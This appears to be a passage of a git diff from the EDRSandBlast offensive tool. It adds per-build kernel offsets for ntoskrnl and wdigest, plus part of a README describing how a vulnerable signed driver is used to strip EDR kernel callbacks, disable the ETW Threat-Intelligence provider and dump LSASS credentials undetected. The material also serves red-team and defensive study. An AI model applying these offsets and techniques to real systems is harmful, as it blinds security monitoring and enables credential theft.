+ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50 +ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50 +ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50 +ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50 +ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50 +ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50 +ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50 +ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50 +ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50 +ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50 +ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50 +ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50 +ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50 +ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50 +ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50 +ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50 +ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50 +ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50 +ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50 +ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50 +ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50 +ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50 +ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50 +ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50 +ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50 +ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50 +ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 +ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 +ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 +ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50 +ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50 +ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50 +ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50 +ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50 +ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50 +ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50 +ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50 +ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50 +ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 +ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 +ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 +ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 +ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50 +ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50 +ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50 +ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50 +ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 +ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50 +ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50 +ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 +ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50 +ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50 +ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50 +ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50 +ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 +ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50 +ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 +ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50 +ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 +ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 +ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50 +ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 +ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50 +ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50 +ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 +ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 +ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 +ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50 +ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 +ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 +ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50 +ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50 +ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50 +ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50 +ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50 +ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50 +ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50 +ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50 +ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50 +ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50 +ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50 +ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50 +ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50 +ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50 +ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50 +ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50 +ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50 +ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 +ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50 +ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 +ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50 +ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 +ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50 +ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50 +ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50 +ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50 +ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50 +ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50 +ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50 +ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50 +ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60 +ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60 +ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60 +ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60 +ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60 +ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 +ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 +ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 +ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50 +ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60 +ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60 +ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60 +ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60 +ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 +ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60 +ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 +ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 +ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 +ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 +ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50 +ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 +ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60 +ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 +ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 +ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 +ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 +ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60 +ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60 +ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60 +ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60 +ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60 +ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50 +ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50 +ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60 +ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60 +ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60 +ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60 +ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60 +ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60 +ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60 +ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60 +ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60 +ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50 +ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50 +ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50 +ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50 +ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50 +ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50 +ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50 +ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50 +ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50 +ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 +ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 +ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 +ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50 +ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50 +ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50 +ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50 +ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50 +ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50 +ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50 +ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50 +ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50 +ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50 +ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50 +ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50 +ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50 +ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50 +ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60 +ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60 +ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60 +ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60 +ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60 +ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50 +ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 +ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 +ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 +ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 +ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60 +ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60 +ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 +ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 +ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60 +ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 +ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60 +ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50 +ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60 +ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60 +ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60 +ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60 +ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60 +ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60 +ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60 +ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60 +ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50 +ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50 +ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50 +ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50 +ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50 +ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50 +ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50 +ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50 +ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50 +ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50 +ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50 +ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50 +ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50 +ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50 +ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50 +ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50 +ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50 +ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60 +ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60 +ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60 +ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60 +ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60 +ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60 +ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60 +ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60 +ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60 +ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60 +ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60 +ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60 +ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60 +ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60 +ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60 +ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60 +ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60 +ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60 +ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60 +ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60 +ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60 +ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60 +ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60 +ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60 +ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60 +ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60 +ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60 +ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60 +ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60 +ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60 +ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60 +ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60 +ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60 +ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60 +ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60 +ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60 +ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60 +ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60 +ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60 +ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60 +ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60 +ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60 +ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60 +ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60 +ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60 +ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60 +ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60 +ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60 +ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60 +ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60 +ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60 +ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60 +ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60 +ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60 diff --git a/Offsets/WdigestOffsets.csv b/Offsets/WdigestOffsets.csv new file mode 100644 index 0000000..63e5516 --- /dev/null +++ b/Offsets/WdigestOffsets.csv @@ -0,0 +1,33 @@ +wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset +wdigest_10240-18244.dll,35144,34ba0 +wdigest_10240-18608.dll,35144,34ba0 +wdigest_10586-0.dll,35db0,35ba8 +wdigest_15254-245.dll,34d8c,34b88 +wdigest_10240-17184.dll,35144,34ba0 +wdigest_14393-3750.dll,35dc0,35ba8 +wdigest_15063-1868.dll,34d8c,34b88 +wdigest_14393-0.dll,35dc0,35ba8 +wdigest_14393-3808.dll,35dc0,35ba8 +wdigest_10240-18638.dll,35144,34ba0 +wdigest_14393-3024.dll,35dc0,35ba8 +wdigest_10240-16384.dll,35134,0 +wdigest_16299-192.dll,35114,34b88 +wdigest_16299-1937.dll,35114,34b88 +wdigest_16299-1217.dll,35114,34b88 +wdigest_17134-1610.dll,36114,35b88 +wdigest_16299-1992.dll,35114,34b88 +wdigest_17134-829.dll,35114,34b88 +wdigest_17134-590.dll,35114,34b88 +wdigest_17134-1553.dll,35114,34b88 +wdigest_17763-194.dll,35114,34b88 +wdigest_17763-1339.dll,36114,35b88 +wdigest_17763-1294.dll,35114,34b88 +wdigest_17763-557.dll,35114,34b88 +wdigest_18362-175.dll,35124,34b88 +wdigest_18362-959.dll,36124,35b88 +wdigest_19041-1001.dll,361b4,35c08 +wdigest_18362-904.dll,35124,34b88 +wdigest_19041-388.dll,361b4,35c08 +wdigest_19041-329.dll,361b4,35c08 +wdigest_22406-1000.dll,3caa4,3cab0 +wdigest_18362-1216.dll,35124,34b88 diff --git a/Offsets/requirements.txt b/Offsets/requirements.txt new file mode 100644 index 0000000..a75feb4 --- /dev/null +++ b/Offsets/requirements.txt @@ -0,0 +1,2 @@ +requests +pywin32 \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..3c818cf --- /dev/null +++ b/README.md @@ -0,0 +1,479 @@ +# EDRSandBlast + +`EDRSandBlast` is a tool written in `C` that weaponize a vulnerable signed +driver to bypass `EDR` detections (Kernel callbacks and `ETW TI` provider) and +`LSASS` protections. Multiple userland unhooking techniques are also +implemented to evade userland monitoring. + +As of release, combination of userland (`--usermode`) and Kernel-land +(`--kernelmode`) techniques were used to dump `LSASS` memory under `EDR` +scrutiny, without being blocked nor generating "OS Credential Dumping"-related +events in the product (cloud) console. The tests were performed on 3 distinct +`EDR` products and were successful in each case. + +## Description + +### EDR bypass through Kernel callbacks removal + +`EDR` products use Kernel callbacks on Windows to be notified by the kernel of +system activity, such as process and thread creation and loading of images +(`exe` / `DLL`). + +The Kernel callbacks are defined from user-land using a number of documented +APIs (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`, +etc.). The user-land APIs add driver-supplied callback routines to undocumented +arrays of routines in Kernel-space: + - `PspCreateProcessNotifyRoutine` for process creation + - `PspCreateThreadNotifyRoutine` for thread creation + - `PspLoadImageNotifyRoutine` for image loading + +`EDRSandBlast` enumerates the routines defined in those arrays and remove any +callback routine linked to a predefined list of `EDR` drivers (more than 1000 +thousands drivers of security products from the +[allocated filter altitudes](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes)). +The enumeration and removal are made possible through the exploitation of an +arbitrary Kernel memory read / write vulnerability of the +`Micro-Star MSI Afterburner` driver (`CVE-2019-16098`). The enumeration and +removal code is largely inspired from +[br-sn's CheekyBlinder project](https://github.com/br-sn/CheekyBlinder). + +The offsets of the aforementioned arrays are hardcoded in the +`NtoskrnlOffsets.csv` file for more than 350 versions of the Windows Kernel +`ntoskrnl.exe`. The choice of going with hardcoded offsets instead of pattern +searches is justified by the fact that the undocumented APIs responsible for +Kernel callbacks addition / removal are subject to change and that any attempt +to write Kernel memory at the wrong address may (and often will) result in a +`Bug Check` (`Blue Screen of Death`). For more information on how the offsets +were gathered, refer to [Offsets section](Offsets). + +### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider + +The `ETW Microsoft-Windows-Threat-Intelligence` provider log data about the +usages of some Windows API commonly used maliciously. This include the +`nt!MiReadWriteVirtualMemory` API, called by `nt!NtReadVirtualMemory` (which is +used to dump `LSASS` memory) and monitored by the `nt!EtwTiLogReadWriteVm` +function. + +`EDR` products can consume the logs produced by the `ETW TI` provider through +services or processes running as, respectively, +`SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT` or +`PS_PROTECTED_ANTIMALWARE_LIGHT`, and associated with an `Early Launch Anti +Malware (ELAM)` driver. + +As published by +[`slaeryan` in a `CNO Development Labs` blog post](https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider), +the `ETW TI` provider can be disabled altogether by patching, in kernel memory, +its 